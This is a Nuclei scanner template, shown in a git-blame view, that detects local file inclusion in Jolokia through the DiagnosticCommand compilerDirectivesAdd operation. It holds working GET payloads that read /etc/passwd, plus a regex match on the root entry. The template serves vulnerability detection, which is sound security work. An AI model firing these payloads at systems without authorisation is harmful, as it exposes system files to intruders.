2021-12-05 10:42:46 +00:00
|
|
|
id: jolokia-unauthenticated-lfi
|
|
|
|
|
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: Jolokia - Local File Inclusion
|
2021-12-05 10:42:46 +00:00
|
|
|
author: dhiyaneshDk
|
|
|
|
severity: high
|
2022-08-05 13:57:51 +00:00
|
|
|
description: Jolokia is vulnerable to local file inclusion via compilerDirectivesAdd.
|
2021-12-05 10:42:46 +00:00
|
|
|
reference:
|
|
|
|
- https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
|
|
|
|
- https://github.com/laluka/jolokia-exploitation-toolkit
|
2022-08-05 13:57:51 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
|
|
cvss-score: 8.3
|
|
|
|
cwe-id: CWE-522
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: jolokia,springboot,tomcat,lfi,misconfig
|
2021-12-05 10:42:46 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-12-05 10:42:46 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
|
2021-12-05 11:18:49 +00:00
|
|
|
- "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
|
2021-12-05 10:42:46 +00:00
|
|
|
|
2021-12-05 11:18:49 +00:00
|
|
|
stop-at-first-match: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-12-05 10:42:46 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
- "compilerDirectivesAdd"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-08-05 13:57:51 +00:00
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a004830460221009a77b8b7f8d4e71acc85a0418bbeaa1ae6c6c3c8b46baccd530818f17fe507d7022100a407f15f00eb782bac4e78b80121212493bf594ee18591b8b61b01979a86adbb:922c64590222798bb761d5b6d8e72950
|